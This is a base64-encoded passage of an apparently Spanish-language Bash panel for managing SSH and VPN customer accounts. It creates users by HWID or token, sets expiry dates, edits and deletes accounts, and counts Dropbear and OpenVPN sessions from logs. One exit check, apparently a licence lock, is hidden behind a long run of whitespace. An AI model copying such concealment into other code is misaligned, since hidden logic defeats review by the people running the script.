9zX2F0aXZvc1tAXX0pOyBkbwptc2cgLW5lICIgPj4gVXN1YXJpbzogIiAmJiBlY2hvICIke3VzfSIKCmRvbmUKbXNnIC1iYXIKZmkKd2hpbGUgdHJ1ZTsgZG8KICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiSW5ncmVzZSBFbCBVc3VhcmlvIEhXSUQiKSIKICAgICByZWFkIC1wICI6ICIgaHdpZAogICAgIGlmIFtbIC16ICRod2lkIF1dOyB0aGVuCiAgICAgZXJyX2Z1biAxNiAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiR7I2h3aWR9IiAtbHQgIjMxIiBdXTsgdGhlbgogICAgIGVycl9mdW4gMTcgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkeyNod2lkfSIgLWd0ICIzMyIgXV07IHRoZW4KICAgICBlcnJfZnVuIDE4ICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfXxncmVwIC13ICIkaHdpZCIpIiBdXTsgdGhlbgogICAgIGVycl9mdW4gMTQgJiYgY29udGludWUKICAgICBmaQogICAgIGJyZWFrCmRvbmUKd2hpbGUgdHJ1ZTsgZG8KCW1zZyAtbmUgIiQoZnVuX3RyYW5zICJOb21icmUgRGVsIFVzdWFyaW8iKSIKICAgICAKICAgICByZWFkIC1wICI6ICIgdXN1YXJpbwogICAgIHVzdWFyaW89IiQoZWNobyAkdXN1YXJpb3xzZWQgLWUgJ3MvW15hLXowLTkgLV0vL2lnJykiCiAgICAgaWYgW1sgLXogJHVzdWFyaW8gXV07IHRoZW4KICAgICBlcnJfZnVuIDEgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkeyN1c3VhcmlvfSIgLWx0ICIyIiBdXTsgdGhlbgogICAgIGVycl9mdW4gMiAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiR7I3VzdWFyaW99IiAtZ3QgIjEwIiBdXTsgdGhlbgogICAgIGVycl9mdW4gMyAmJiBjb250aW51ZQogICAgIAogICAgIGZpCiAgICAgYnJlYWsKZG9uZQoKd2hpbGUgdHJ1ZTsgZG8KICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiVGllbXBvIGRlIER1cmFjaW9uIikiCiAgICAgcmVhZCAtcCAiOiAiIGRpYXN1c2VyCiAgICAgaWYgW1sgLXogIiRkaWFzdXNlciIgXV07IHRoZW4KICAgICBlcnJfZnVuIDcgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkZGlhc3VzZXIiICE9ICsoWzAtOV0pIF1dOyB0aGVuCiAgICAgZXJyX2Z1biA4ICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJGRpYXN1c2VyIiAtZ3QgIjM2MCIgXV07IHRoZW4KICAgICBlcnJfZnVuIDkgJiYgY29udGludWUKICAgICBmaSAKICAgICBicmVhawpkb25lCmNsZWFyCmVjaG8gIiIKbXNnIC1iYXIKICAgICBhZGRfaHdpZCAiJHtod2lkfSIgIiR7dXN1YXJpb30iICIke2RpYXN1c2VyfSIKICAgICAKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBJUCIpOiAiICYmIGVjaG8gLWUgIiQobWV1X2lwKSIKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBOb21icmUgRGVsIENsaWVudGUiKTogIiAmJiBlY2hvIC1lICIkdXN1YXJpbyIKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBIV0lEIik6ICIgJiYgZWNobyAtZSAiJGh3aWQiICAKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBEaWFzIGRlIER1cmFjaW9uIik6ICIgJiYgZWNobyAtZSAiJGRpYXN1c2VyIgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgID4+IEZlY2hhIGRlIEV4cGlyYWNpb24iKTogIiAmJiBlY2hvIC1lICIkKGRhdGUgIislRiIgLWQgIiArICRkaWFzdXNlciBkYXlzIikiCiAgICAjCiAjICAgbXNnIC1iYXIKI2VjaG8gLWUgIglcZVs5N21cZVsxOzEwMG1QVUVSVE9TIEFCSUVSVE9TXGVbMG0iCiNsYWNhc2l0YSAKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQpuZXdfdG9rZW4gKCkgewojYnkgQHJ1ZnU5OQpjbGVhciAKY2xlYXIKI21zZyAtYmFyCiN1c3Vhcmlvc19hdGl2bz0oJChjYXQgJHt0b2tlbnN9fGN1dCAtZCd8JyAtZjEpKQp1c3Vhcmlvc19hdGl2b3M9KCcnICQobW9zdHJhcl90b2tlbikpCmlmIFtbICEgLWUgJHtTQ1BkaXJ9Ly5wYXNzdyBdXTsgdGhlbgptc2cgLXRpdAptc2cgLWFtYSAiICAgQUdSRUdBUiBVU1VBUklPIFRPS0VOfCBOaW5ndW4gVXN1YXJpbyBSZWdpc3RyYWRvXG4gICBQYXJhIEFwbGljYWNpb25lcyBNT0QiCm1zZyAtYmFyCmVjaG8gLW5lICJcZVsxOzMzbSBESUdJVEUgU1UgVE9LRU4gR0VORVJBTDpcZVszMW0gIiAKcmVhZCB0ZwplY2hvICIkdGciID4gJHtTQ1BkaXJ9Ly5wYXNzdwptc2cgLWJhcgplbHNlCm1zZyAtdGl0Cm1zZyAtYW1hICIgIEFHUkVHQVIgVVNVQVJJTyBUT0tFTnwgVXN1YXJpb3MgIEFjdGl2b3MgZW4gU2Vydmlkb3JcbiAgIFBhcmEgQXBsaWNhY2lvbmVzIE1PRCIKbXNnIC1iYXIKZm9yIHVzIGluICQoZWNobyAke3VzdWFyaW9zX2F0aXZvc1tAXX0pOyBkbwptc2cgLW5lICIgPj4gVXN1YXJpbzogIiAmJiBlY2hvICIke3VzfSIKZG9uZQptc2cgLWJhcgpmaQoKd2hpbGUgdHJ1ZTsgZG8KICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiSW5ncmVzZSBFbCBVc3VhcmlvIFRPS0VOIikiCiAgICAgcmVhZCAtcCAiOiAiIHRva2UKICAgICBpZiBbWyAteiAkdG9rZSBdXTsgdGhlbgogICAgIGVycl9mdW4gMTkgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkeyN0b2tlfSIgLWx0ICIxNSIgXV07IHRoZW4KICAgICBlcnJfZnVuIDIwICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJHsjdG9rZX0iIC1ndCAiMTciIF1dOyB0aGVuCiAgICAgZXJyX2Z1biAyMSAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiQoZWNobyAke3VzdWFyaW9zX2F0aXZvc1tAXX18Z3JlcCAtdyAiJHRva2UiKSIgXV07IHRoZW4KICAgICBlcnJfZnVuIDE0ICYmIGNvbnRpbnVlCiAgICAgZmkKICAgICBicmVhawpkb25lCndoaWxlIHRydWU7IGRvCgltc2cgLW5lICIkKGZ1bl90cmFucyAiTm9tYnJlIERlbCBDbGllbnRlIikiCiAgICAgCiAgICAgcmVhZCAtcCAiOiAiIHVzdWFyaW8KICAgICB1c3VhcmlvPSIkKGVjaG8gJHVzdWFyaW98c2VkIC1lICdzL1teYS16MC05IC1dLy9pZycpIgogICAgIGlmIFtbIC16ICR1c3VhcmlvIF1dOyB0aGVuCiAgICAgZXJyX2Z1biAxICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJHsjdXN1YXJpb30iIC1sdCAiMyIgXV07IHRoZW4KICAgICBlcnJfZnVuIDIgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkeyN1c3VhcmlvfSIgLWd0ICIxMCIgXV07IHRoZW4KICAgICBlcnJfZnVuIDMgJiYgY29udGludWUKICAgICAKICAgICBmaQogICAgIGJyZWFrCmRvbmUKCndoaWxlIHRydWU7IGRvCiAgICAgbXNnIC1uZSAiJChmdW5fdHJhbnMgIlRpZW1wbyBkZSBEdXJhY2lvbiIpIgogICAgIHJlYWQgLXAgIjogIiBkaWFzdXNlcgogICAgIGlmIFtbIC16ICIkZGlhc3VzZXIiIF1dOyB0aGVuCiAgICAgZXJyX2Z1biA3ICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJGRpYXN1c2VyIiAhPSArKFswLTldKSBdXTsgdGhlbgogICAgIGVycl9mdW4gOCAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiRkaWFzdXNlciIgLWd0ICIzNjAiIF1dOyB0aGVuCiAgICAgZXJyX2Z1biA5ICYmIGNvbnRpbnVlCiAgICAgZmkgCiAgICAgYnJlYWsKZG9uZQpjbGVhcgplY2hvICIiCm1zZyAtYmFyCiAgICAgYWRkX3Rva2VuICIke3Rva2V9IiAiJHt1c3VhcmlvfSIgIiR7ZGlhc3VzZXJ9IgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgID4+IElQIik6ICIgJiYgZWNobyAtZSAiJChtZXVfaXApIgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgID4+IE5vbWJyZSBEZWwgQ2xpZW50ZSIpOiAiICYmIGVjaG8gLWUgIiR1c3VhcmlvIgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgID4+IFRPS0VOIElEIik6ICIgJiYgZWNobyAtZSAiJHRva2UiICAKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiICA+PiBEaWFzIGRlIER1cmFjaW9uIik6ICIgJiYgZWNobyAtZSAiJGRpYXN1c2VyIgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgID4+IEZlY2hhIGRlIEV4cGlyYWNpb24iKTogIiAmJiBlY2hvIC1lICIkKGRhdGUgIislRiIgLWQgIiArICRkaWFzdXNlciBkYXlzIikiCiAgICAjIAogIyAgbXNnIC1iYXIKI2VjaG8gLWUgIglcZVs5N21cZVsxOzEwMG1QVUVSVE9TIEFCSUVSVE9TXGVbMG0iIAogICMgIGxhY2FzaXRhCm1zZyAtYmFyCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCn0KCnJlbmV3X3VzZXJfZnVuICgpIHsKI25vbWUgZGlhcwpkYXRleHA9JChkYXRlICIrJUYiIC1kICIgKyAkMiBkYXlzIikgJiYgdmFsaWQ9JChkYXRlICcrJUMleS0lbS0lZCcgLWQgIiArICQyIGRheXMiKQpjaGFnZSAtRSAkdmFsaWQgJDEgMj4gL2Rldi9udWxsIHx8IHJldHVybiAxCltbIC1lICR7VVNSZGF0YWJhc2V9IF1dICYmIHsKICAgbmV3YmFzZT0kKGNhdCAke1VTUmRhdGFiYXNlfXxncmVwIC13IC12ICIkMSIpCiAgIHVzZXJlZGl0PSQoY2F0ICR7VVNSZGF0YWJhc2V9fGdyZXAgLXcgIiQxIikKICAgcGFzcz0kKGVjaG8gJHVzZXJlZGl0fGN1dCAtZCd8JyAtZjIpCiAgIGxpbWl0PSQoZWNobyAkdXNlcmVkaXR8Y3V0IC1kJ3wnIC1mNCkKICAgZWNobyAiJDF8JHBhc3N8JHtkYXRleHB9fCRsaW1pdCIgPiAke1VTUmRhdGFiYXNlfQogICBmb3IgdmFsdWUgaW4gYGVjaG8gJHtuZXdiYXNlfWA7IGRvCiAgIGVjaG8gJHZhbHVlID4+ICR7VVNSZGF0YWJhc2V9CiAgIGRvbmUKICAgfQoKfQpyZW5vdmFyX2h3aWQgKCkgewojbm9tZSBkaWFzCmRhdGV4cD0kKGRhdGUgIislRiIgLWQgIiArICQyIGRheXMiKSAmJiB2YWxpZD0kKGRhdGUgJyslQyV5LSVtLSVkJyAtZCAiICsgJDIgZGF5cyIpCmNoYWdlIC1FICR2YWxpZCAkMSAyPiAvZGV2L251bGwgfHwgcmV0dXJuIDEKW1sgLWUgJHtVU1JkYXRhYmFzZWh9IF1dICYmIHsKICAgbmV3YmFzZT0kKGNhdCAke1VTUmRhdGFiYXNlaH18Z3JlcCAtdyAtdiAiJDEiKQogICB1c2VyZWRpdD0kKGNhdCAke1VTUmRhdGFiYXNlaH18Z3JlcCAtdyAiJDEiKQogICBwYXNzPSQoZWNobyAkdXNlcmVkaXR8Y3V0IC1kJ3wnIC1mMikKICAgbGltaXQ9JChlY2hvICR1c2VyZWRpdHxjdXQgLWQnfCcgLWY0KQogICBlY2hvICIkMXwkcGFzc3wke2RhdGV4cH18JGxpbWl0IiA+ICR7VVNSZGF0YWJhc2VofQogICBmb3IgdmFsdWUgaW4gYGVjaG8gJHtuZXdiYXNlfWA7IGRvCiAgIGVjaG8gJHZhbHVlID4+ICR7VVNSZGF0YWJhc2VofQogICBkb25lCiAgIH0KfQpyZW5vdmFyX3Rva2VuICgpIHsKI25vbWUgZGlhcwpkYXRleHA9JChkYXRlICIrJUYiIC1kICIgKyAkMiBkYXlzIikgJiYgdmFsaWQ9JChkYXRlICcrJUMleS0lbS0lZCcgLWQgIiArICQyIGRheXMiKQpjaGFnZSAtRSAkdmFsaWQgJDEgMj4gL2Rldi9udWxsIHx8IHJldHVybiAxCltbIC1lICR7VVNSZGF0YWJhc2VofSBdXSAmJiB7CiAgIG5ld2Jhc2U9JChjYXQgJHt0b2tlbnN9fGdyZXAgLXcgLXYgIiQxIikKICAgdXNlcmVkaXQ9JChjYXQgJHt0b2tlbnN9fGdyZXAgLXcgIiQxIikKICAgcGFzcz0kKGVjaG8gJHVzZXJlZGl0fGN1dCAtZCd8JyAtZjIpCiAgIGxpbWl0PSQoZWNobyAkdXNlcmVkaXR8Y3V0IC1kJ3wnIC1mNCkKICAgZWNobyAiJDF8JHBhc3N8JHtkYXRleHB9IiA+ICR7dG9rZW5zfQogICBmb3IgdmFsdWUgaW4gYGVjaG8gJHtuZXdiYXNlfWA7IGRvCiAgIGVjaG8gJHZhbHVlID4+ICR7dG9rZW5zfQogICBkb25lCiAgIH0KCn0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJW1sgISAtZCAvdXNyL2xvY2FsL2xpYi9zcGVkIF1dICYmIGV4aXQKZWRpdF91c2VyX2Z1biAoKSB7CiNub21lIHNlbmhhIGRpYXMgbGltaXRlCmRhdGV4cD0kKGRhdGUgIislRiIgLWQgIiArICQzIGRheXMiKSAmJiB2YWxpZD0kKGRhdGUgJyslQyV5LSVtLSVkJyAtZCAiICsgJDMgZGF5cyIpCiAgY2xlYXIKICBtc2cgLWJhcgogIGlmIHVzZXJtb2QgLXAgJChvcGVuc3NsIHBhc3N3ZCAtMSAkMikgLWUgJHZhbGlkIC1jIHNzaG0sJDMgJDEgOyB0aGVuCiAgW1sgLWUgJHtVU1JkYXRhYmFzZX0gXV0gJiYgewogICBuZXdiYXNlPSQoY2F0ICR7VVNSZGF0YWJhc2V9fGdyZXAgLXcgLXYgIiQxIikKICAgZWNobyAiJDF8JDJ8JHtkYXRleHB9fCQ0IiA+ICR7VVNSZGF0YWJhc2V9CiAgIGZvciB2YWx1ZSBpbiBgZWNobyAke25ld2Jhc2V9YDsgZG8KICAgZWNobyAkdmFsdWUgPj4gJHtVU1JkYXRhYmFzZX0KICAgZG9uZQogICB9IHx8IGVjaG8gIiQxfCQyfCR7ZGF0ZXhwfXwkNCIgPiAke1VTUmRhdGFiYXNlfQogIAltc2cgLXZlcmQgIlVzdWFyaW8gTW9kaWZpY2FkbyBDb24gRXhpdG8iCiAgcm0gLXJmICR7U0NQdXNyfS9MaW1pdGVyLmxvZwogIGVsc2UKICAJbXNnIC12ZXJtMiAiRXJyb3IsIFVzdWFyaW8gbm8gTW9kaWZpY2FkbyIKICAJbXNnIC1iYXIKICBmaQogIGVjaG8gIiIKfQpybV91c2VyICgpIHsKI25vbWUKdXNlcmRlbCAtLWZvcmNlICIkMSIgJj4vZGV2L251bGwgfHwgcmV0dXJuIDEKCXNlZCAtaSAiLyQxL2QiICR7VVNSZGF0YWJhc2V9CgkKfQpybV9od2lkICgpIHsKI25vbWUKdXNlcmRlbCAtLWZvcmNlICIkMSIgJj4vZGV2L251bGwgfHwgcmV0dXJuIDEKICAgc2VkIC1pICIvJDEvZCIgJHtVU1JkYXRhYmFzZWh9Cn0Kcm1fdG9rZW4gKCkgewojbm9tZQp1c2VyZGVsIC0tZm9yY2UgIiQxIiAmPi9kZXYvbnVsbCB8fCByZXR1cm4gMQogICBzZWQgLWkgIi8kMS9kIiAke3Rva2Vuc30KfQptb3N0cmFyX3VzdWFyaW9zICgpIHsKZm9yIHUgaW4gYGNhdCAvZXRjL3Bhc3N3ZHxncmVwICdob21lJ3xncmVwICdmYWxzZSd8Z3JlcCAtdiAnc3lzbG9nJ3xhd2sgLUYgJzonICd7cHJpbnQgJDF9J2A7IGRvCiAgICBlY2hvICIkdSIKICBkb25lCn0KZXhwb3J0IG1vc3RyYXJfdXN1YXJpb3MKZHJvcGJlYXJfcGlkcyAoKSB7CmxvY2FsIHBpZHMKCmxvY2FsIHBvcnRhc1ZBUj0kKGxzb2YgLVYgLWkgdGNwIC1QIC1uIHwgZ3JlcCAtdiAiRVNUQUJMSVNIRUQiIHxncmVwIC12ICJDT01NQU5EIiB8IGdyZXAgIkxJU1RFTiIpCmxvY2FsIE5PUkVQRUFUCmxvY2FsIHJlUQpsb2NhbCBQb3J0CndoaWxlIHJlYWQgcG9ydDsgZG8KcmVRPSQoZWNobyAke3BvcnR9fGF3ayAne3ByaW50ICQxfScpClBvcnQ9JChlY2hvIHskcG9ydH0gfCBhd2sgJ3twcmludCAkOX0nIHwgYXdrIC1GICI6IiAne3ByaW50ICQyfScpCltbICQoZWNobyAtZSAkTk9SRVBFQVR8Z3JlcCAtdyAiJFBvcnQiKSBdXSAmJiBjb250aW51ZQpOT1JFUEVBVCs9IiRQb3J0XG4iCmNhc2UgJHtyZVF9IGluCgpkcm9wYmVhcikKW1sgLXogJERQQiBdXSAmJiBsb2NhbCBEUEI9IiIKRFBCKz0iJFBvcnQgIjs7Cgplc2FjCmRvbmUgPDw8ICIke3BvcnRhc1ZBUn0iCgoKW1sgISAteiAkRFBCIF1dICYmIGVjaG8gLWUgJERQQgoKbG9jYWwgcG9ydF9kcm9wYmVhcj0iJERQQiIKI2NhdCAvdmFyL2xvZy9hdXRoLmxvZ3xncmVwICIkKGRhdGV8Y3V0IC1kJyAnIC1mMiwzKSIgPiAvdmFyL2xvZy9hdXRoZGF5LmxvZwpjYXQgL3Zhci9sb2cvYXV0aC5sb2d8dGFpbCAtMTAwMCA+IC92YXIvbG9nL2F1dGhkYXkubG9nCmxvY2FsIGxvZz0vdmFyL2xvZy9hdXRoZGF5LmxvZwpsb2NhbCBsb2dpbnN1a3Nlcz0nUGFzc3dvcmQgYXV0aCBzdWNjZWVkZWQnCltbIC16ICRwb3J0X2Ryb3BiZWFyIF1dICYmIHJldHVybiAxCmZvciBwb3J0IGluIGBlY2hvICRwb3J0X2Ryb3BiZWFyYDsgZG8KIGZvciBwaWR4IGluICQocHMgYXggfGdyZXAgZHJvcGJlYXIgfGdyZXAgIiRwb3J0IiB8YXdrIC1GIiAiICd7cHJpbnQgJDF9Jyk7IGRvCiAgcGlkcz0iJHtwaWRzfSRwaWR4XG4iCiBkb25lCmRvbmUKZm9yIHBpZCBpbiBgZWNobyAtZSAiJHBpZHMiYDsgZG8KICBwaWRsb2dzPWBncmVwICRwaWQgJGxvZyB8Z3JlcCAiJGxvZ2luc3Vrc2VzIiB8YXdrIC1GIiAiICd7cHJpbnQgJDN9J2AKICBpPTAKICAgIGZvciBwaWRlbmQgaW4gJHBpZGxvZ3M7IGRvCiAgICBsZXQgaSsrCiAgICBkb25lCiAgICBpZiBbWyAkcGlkZW5kIF1dOyB0aGVuCiAgICBsb2dpbj0kKGdyZXAgJHBpZCAkbG9nIHxncmVwICIkcGlkZW5kIiB8Z3JlcCAiJGxvZ2luc3Vrc2VzIikKICAgIFBJRD0kcGlkCiAgICB1c2VyPWBlY2hvICRsb2dpbiB8YXdrIC1GIiAiICd7cHJpbnQgJDEwfScgfCBzZWQgLXIgInMvJy8vZyJgCiAgICB3YWt0dT0kKGVjaG8gJGxvZ2luIHxhd2sgLUYiICIgJ3twcmludCAkMiItIiQxLCQzfScpCiAgICBbWyAteiAkdXNlciBdXSAmJiBjb250aW51ZQoJZWNobyAiJHVzZXJ8JFBJRHwkd2FrdHUiCiAgICBmaQpkb25lCn0KCgpvcGVudnBuX3BpZHMgKCkgewojbm9tZXwjbG9ndWlufCNyY3Z8I3NuZHwjdGltZQogIGJ5dGUgKCkgewogICB3aGlsZSByZWFkIEIgZHVtbXk7IGRvCiAgIFtbICIkQiIgLWx0IDEwMjQgXV0gJiYgZWNobyAiJHtCfSBieXRlcyIgJiYgYnJlYWsKICAgS0I9JCgoKEIrNTEyKS8xMDI0KSkKICAgW1sgIiRLQiIgLWx0IDEwMjQgXV0gJiYgZWNobyAiJHtLQn0gS2IiICYmIGJyZWFrCiAgIE1CPSQoKChLQis1MTIpLzEwMjQpKQogICBbWyAiJE1CIiAtbHQgMTAyNCBdXSAmJiBlY2hvICIke01CfSBNYiIgJiYgYnJlYWsKICAgR0I9JCgoKE1CKzUxMikvMTAyNCkpCiAgIFtbICIkR0IiIC1sdCAxMDI0IF1dICYmIGVjaG8gIiR7R0J9IEdiIiAmJiBicmVhawogICBlY2hvICQoKChHQis1MTIpLzEwMjQpKSB0ZXJhYnl0ZXMKICAgZG9uZQogICB9CmZvciB1c2VyIGluICQobW9zdHJhcl91c3Vhcmlvcyk7IGRvCnVzZXI9IiQoZWNobyAkdXNlcnxzZWQgLWUgJ3MvW15hLXowLTkgLV0vL2lnJykiCltbICEgJChzZWQgLW4gIi9eJHt1c2VyfSwvcCIgL2V0Yy9vcGVudnBuL29wZW52cG4tc3RhdHVzLmxvZykgXV0gJiYgY29udGludWUKaT0wCnVuc2V0IFJFQ0lWRUQ7IHVuc2V0IFNFTkQ7IHVuc2V0IEhPVVIKIHdoaWxlIHJlYWQgbGluZTsgZG8KIElETE9DQUw9JChlY2hvICR7bGluZX18Y3V0IC1kJywnIC1mMikKIFJFQ0lWRUQrPSIkKGVjaG8gJHtsaW5lfXxjdXQgLWQnLCcgLWYzKSsiCiBTRU5EKz0iJChlY2hvICR7bGluZX18Y3V0IC1kJywnIC1mNCkrIgogREFURVNFQz0kKGRhdGUgKyVzIC0tZGF0ZT0iJChlY2hvICR7bGluZX18Y3V0IC1kJywnIC1mNXxjdXQgLWQnICcgLWYxLDIsMyw0KSIpCiBUSU1FT049IiQoKCQoZGF0ZSArJXMpLSR7REFURVNFQ30pKSIKICBNSU49JCgoJFRJTUVPTi82MCkpICYmIFNFQz0kKCgkVElNRU9OLSRNSU4qNjApKSAmJiBIT1I9JCgoJE1JTi82MCkpICYmIE1JTj0kKCgkTUlOLSRIT1IqNjApKQogIEhPVVIrPSIke0hPUn1oOiR7TUlOfW06JHtTRUN9c1xuIgogIGxldCBpKysKIGRvbmUgPDw8ICIkKHNlZCAtbiAiL14ke3VzZXJ9LC9wIiAvZXRjL29wZW52cG4vb3BlbnZwbi1zdGF0dXMubG9nKSIKUkVDSVZFRD0kKGVjaG8gJChlY2hvICR7UkVDSVZFRH0wfGJjKXxieXRlKQpTRU5EPSQoZWNobyAkKGVjaG8gJHtTRU5EfTB8YmMpfGJ5dGUpCkhPVVI9JChlY2hvIC1lICRIT1VSfHNvcnQgLW58dGFpbCAtMSkKZWNobyAtZSAiJHVzZXJ8JGl8JFJFQ0lWRUR8JFNFTkR8JEhPVVIiIApkb25lCn0KCgplcnJfZnVuICgpIHsKICAgICBjYXNlICQxIGluCiAgICAgMSltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJVc3VhcmlvIE51bG8iKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICAyKW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIlVzdWFyaW8gY29uIG5vbWJyZSBtdXkgY29ydG8iKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICAzKW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIlVzdWFyaW8gY29uIG5vbWJyZSBtdXkgZ3JhbmRlIikiOyBzbGVlcCAyczsgdHB1dCBjdXUxOyB0cHV0IGRsMTsgdHB1dCBjdXUxOyB0cHV0IGRsMTs7CiAgICAgNCltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJDb250cmFzZcOxYSBOdWxhIikiOyBzbGVlcCAyczsgdHB1dCBjdXUxOyB0cHV0IGRsMTsgdHB1dCBjdXUxOyB0cHV0IGRsMTs7CiAgICAgNSltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJDb250cmFzZcOxYSBtdXkgY29ydGEiKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICA2KW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkNvbnRyYXNlw7FhIG11eSBncmFuZGUiKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICA3KW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkR1cmFjaW9uIE51bGEiKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICA4KW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkR1cmFjaW9uIGludmFsaWRhIHV0aWxpemUgbnVtZXJvcyIpIjsgc2xlZXAgMnM7IHRwdXQgY3V1MTsgdHB1dCBkbDE7IHRwdXQgY3V1MTsgdHB1dCBkbDE7OwogICAgIDkpbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRHVyYWNpb24gbWF4aW1hIHkgZGUgdW4gYcOxbyIpIjsgc2xlZXAgMnM7IHRwdXQgY3V1MTsgdHB1dCBkbDE7IHRwdXQgY3V1MTsgdHB1dCBkbDE7OwogICAgIDExKW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkxpbWl0ZSBOdWxvIikiOyBzbGVlcCAyczsgdHB1dCBjdXUxOyB0cHV0IGRsMTsgdHB1dCBjdXUxOyB0cHV0IGRsMTs7CiAgICAgMTIpbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiTGltaXRlIGludmFsaWRvIHV0aWxpemUgbnVtZXJvcyIpIjsgc2xlZXAgMnM7IHRwdXQgY3V1MTsgdHB1dCBkbDE7IHRwdXQgY3V1MTsgdHB1dCBkbDE7OwogICAgIDEzKW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkxpbWl0ZSBtYXhpbW8gZGUgOTk5IikiOyBzbGVlcCAyczsgdHB1dCBjdXUxOyB0cHV0IGRsMTsgdHB1dCBjdXUxOyB0cHV0IGRsMTs7CiAgICAgMTQpbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiVXN1YXJpbyBZYSBFeGlzdGUiKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICAxNSltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJVU0VSIFkgUEFTUyBZYSBFeGlzdGUsZWplbXBsbyBEZSBjb21vIHVzYXI6IFVzZXI6bGFjYXNhMSBQYXNzOmxhY2FzYTEiKSI7IHNsZWVwIDNzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICAxNiltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJIV0lEIE51bGEiKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICAxNyltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJIV0lEIG11eSBjb3J0YSIpIjsgc2xlZXAgMnM7IHRwdXQgY3V1MTsgdHB1dCBkbDE7IHRwdXQgY3V1MTsgdHB1dCBkbDE7OwogICAgIDE4KW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkhXSUQgbXV5IGdyYW5kZSIpIjsgc2xlZXAgMnM7IHRwdXQgY3V1MTsgdHB1dCBkbDE7IHRwdXQgY3V1MTsgdHB1dCBkbDE7OwogICAgIDE5KW1zZyAtdmVybSAiJChmdW5fdHJhbnMgIlRPS0VOIE51bGEiKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICAyMCltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJUT0tFTiBtdXkgY29ydGEiKSI7IHNsZWVwIDJzOyB0cHV0IGN1dTE7IHRwdXQgZGwxOyB0cHV0IGN1dTE7IHRwdXQgZGwxOzsKICAgICAyMSltc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJUT0tFTiBtdXkgZ3JhbmRlIikiOyBzbGVlcCAyczsgdHB1dCBjdXUxOyB0cHV0IGRsMTsgdHB1dCBjdXUxOyB0cHV0IGRsMTs7CiAgICAgZXNhYwp9Cm5ld191c2VyICgpIHsKY2xlYXIgCmNsZWFyCiNtc2cgLWJhcgp1c3Vhcmlvc19hdGl2b3M9KCcnICQobW9zdHJhcl91c2VyKSkKd